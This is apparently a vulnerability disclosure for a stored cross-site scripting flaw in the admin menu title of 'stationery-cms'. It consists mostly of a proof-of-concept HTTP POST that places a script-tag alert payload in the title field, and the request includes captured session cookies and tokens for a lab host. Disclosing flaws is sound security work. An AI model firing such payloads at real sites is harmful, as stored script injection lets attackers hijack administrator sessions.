Background menu title storage xss

[qbz95aaa]

Vulnerability affects product:[stationery-cms]
Vulnerability type:storage xss vulnerability（Cross-site scripting）
Vulnerability Details：
Background menu title storage xss

poc
`
POST /admin/auth/menu HTTP/1.1
Host: 192.168.3.129:8091
Content-Length: 1101
Accept: text/html, /; q=0.01
X-Requested-With: XMLHttpRequest
X-PJAX: true
X-PJAX-Container: #pjax-container
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryV9CALUhH89iRDFdw
Origin: http://192.168.3.129:8091
Referer: http://192.168.3.129:8091/admin/auth/menu
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cms_ds_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJtYXN0ZXIiLCJpc3MiOiJKUkNtcyIsInN1YiI6IkpSQ21zLURhc2hib2FyZCIsImV4cCI6MTY5ODgxOTIzNn0.IbsTyYy5sJZlBDtgIiOb9G6idpa9b2LkWioRlSMlSEA; .AspNetCore.Antiforgery.WE9Ryc20IQg=CfDJ8HxjCh0oOylDk40Utlg0kuUFWVLtvNW_C4pGl8LD435wIbnnMrZdOHOVRm58Tf9ea-RLT8Cp1rFj-RWlZ5XrTw9-pVKvbqtZLLUaL1326gsyfJyfQ4k6KDwnwVkIpwADhj_KGa_UpcDu8IqL7EsVtWw; .AspNetCore.Session=CfDJ8HxjCh0oOylDk40Utlg0kuXb68MZjsW%2FxifhC6RHBoXE9qf6bZAULAztKWrxdQ9IBGV%2FMomSXYW%2BGJr9gVN1G67kZ5ZHUvzZTEMIYQoRouYf9upg6F4i%2BhutGrGde7h3SIdWEXSN5b50ouWrN9AG8MmS%2FGz8y0InZBJWSgEn5O55; .AspNetCore.Cookies=CfDJ8HxjCh0oOylDk40Utlg0kuXw6Bar2FloCPnRmIK8z27i1l1eQZE9H20ZfZqx9xSA5gVSrZS5hfpqeu4tILEhHunDaAOIqfEmmxsRNV2SMHnwXt_-X0kdVf67A8e1MWMxP-p-tuJZSsa7zVQwOFqTVBFHpgk2dGT3N2U0Th0WR3lQUMdM42wC-XbWYchKNG_fiMCNOPg2MXOFaBmuPreHzuI2wxc-a8KiA7afrdzzz4BnurbEbl8aR8DL0WYq8jFHxZdo1RwJwXULO2qvHYIQzgjZvELBShr4j8C6FJ82VBL5Gq3zFSHAJZ0ddy2q9M0cLUVM4alP8kmxfwfeaVHMZR1cS3_WwDQz5hvGNQuVwIijYdb4HUUpYTKZh2hs_j-o0joMSDe7mdS_3rTvyQ5errD_GkyZZnZL7qZ2jydHhlZMa2vPLOHmLFan6WXhtTk0E_1-zYB117H7tFTA_jJGaNrPVYEuQmmSuBf3kwlWwV1TfGQYL7dPbZDscJdMhn34YnL3LvBlWmY6wRO1ZkZrLmRSsIzcWL7PKHaELAXf8VHz; XSRF-TOKEN=eyJpdiI6Ik1yeG9zRlwvcFJEcnUyY0JsSDVGTTB3PT0iLCJ2YWx1ZSI6ImE3M2NrcWRCeStvdEVQZEQ5MklsbytlWjRpT2diMFpOV0w4RFBXNTl4dFBLNERlWHlWRGtOZXhGWGFcL29peHhnIiwibWFjIjoiM2NiOGFlNzRlNmE3ZmE3ODNkZThiNjYwZTJhNGMzNmMxZDIxNzRiOGUxNmQxNDBiZDQ3ZWZmNTBjM2I3YmE2MiJ9; laravel_session=eyJpdiI6ImprNUNLN2Vpak1kTlRZTExmVFoyYmc9PSIsInZhbHVlIjoiQXVXWFdVeU1ISGNHV3pSSUpyTndcL08yclh2MWJNcVFVTklJR2lxYmJnQ1ArdGVvenFTNWJYZXQ5NGRXSkpockIiLCJtYWMiOiI3MzUxYzIyMjYzZmM0YmFiNGEyMDE0NDljM2ZiM2U4ZDQ4MWQ2ZDk1MzVmMGZhNmYxYjM4NDQ2ZjJiODJjMjhjIn0%3D
Connection: close

------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="parent_id"

------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="parent_id"

0
------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="title"

<script>alert(1)</script>1

------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="icon"

fa-bars
------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="uri"

111
------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="roles[]"

------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="permission"

------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="permission"

------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="_token"

ED1xpWqdNpwzitdl1h6dkpsshUMpYwt7fxtNdVVY
------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="_token"

ED1xpWqdNpwzitdl1h6dkpsshUMpYwt7fxtNdVVY
------WebKitFormBoundaryV9CALUhH89iRDFdw--

`